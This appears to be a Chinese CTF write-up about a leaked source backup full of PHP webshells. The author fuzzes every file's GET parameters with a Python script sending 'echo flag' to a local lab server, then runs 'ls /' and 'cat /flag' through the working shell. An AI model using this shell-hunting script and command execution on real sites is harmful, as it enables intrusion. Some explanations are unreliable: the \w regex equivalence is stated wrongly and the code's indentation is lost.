提示源码备份www.tar.gz,就访问这个uri,下载一个压缩包,里面有三千多个php文件,打开几个看看,如果有写过小马的就可以很容易发现几乎每个文件都有好多小马。但是大多数都不好用,到这里不会了,看wp。
说是这个题考的模糊测试,也就是fuzzing,又学新知识了。。
知识盲区
Fuzzing是指通过构造测试输入,对软件进行大量测试来发现软件中的漏洞的一种模糊测试方法。
可通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞。
这里就是对每个文件中的get的参数构造一个echo的命令,然后对返回结果分析来判断哪一个小马还可以用。
用python脚本来搜索一下,虽然很low,但是相比于其他大佬的更简单易懂。
import requests
import os
import re
url = "http://127.0.0.1/src/"
ptn0 = re.compile(r"\$_GET\['(\w+)'\]") # $_GET['xxx']
pos = 0
for f in list(os.scandir("D:\\phpstudy\\PHPTutorial\\WWW\\src")):
pos += 1
print(pos)
# print(f.path)
with open(f.path, "r") as fp:
data = fp.read()
fp.close()
# print(data)
for key in set(ptn0.findall(data)): # 匹配成功只会返回{]中的内容
# print(get) # 只会提取_GET[]中的内容
# print(f.name, key)
cmd = "echo flag" # 通过小马执行linux的echo命令
r = requests.get(url+f.name, params={key: cmd})
if "flag" in r.text:
print(f.name, key)
exit(0)
知识盲区
re.compile()
在直接使用字符串表示的正则表达式进行search,match和findall操作时,python会将字符串转换为正则表达式对象。而使用compile完成一次转换之后,在每次使用模式的时候就不用重复转换。
当然,使用re.compile()
函数进行转换后,re.search(pattern, string)
的调用方式就转换为 pattern.search(string)
的调用方式。
\w :匹配字母或数字或下划线或汉字 等价于 ‘[^A-Za-z0-9_]’
br"\$_GET\['(\w+)'\]"
= => $_GET['xxxx']
br'>>> (\w+) !!!'
= => >>>(xxxx)!!!
os.scandir()
返回一个迭代器包含目录中所有的对象,对象包含文件属性信息
找到了那个文件和key:xk0SzyKwfzw.php Efa5BVG
然后去访问这个文件,ls /
查看当前目录的文件 cat /flag
查看flag内容。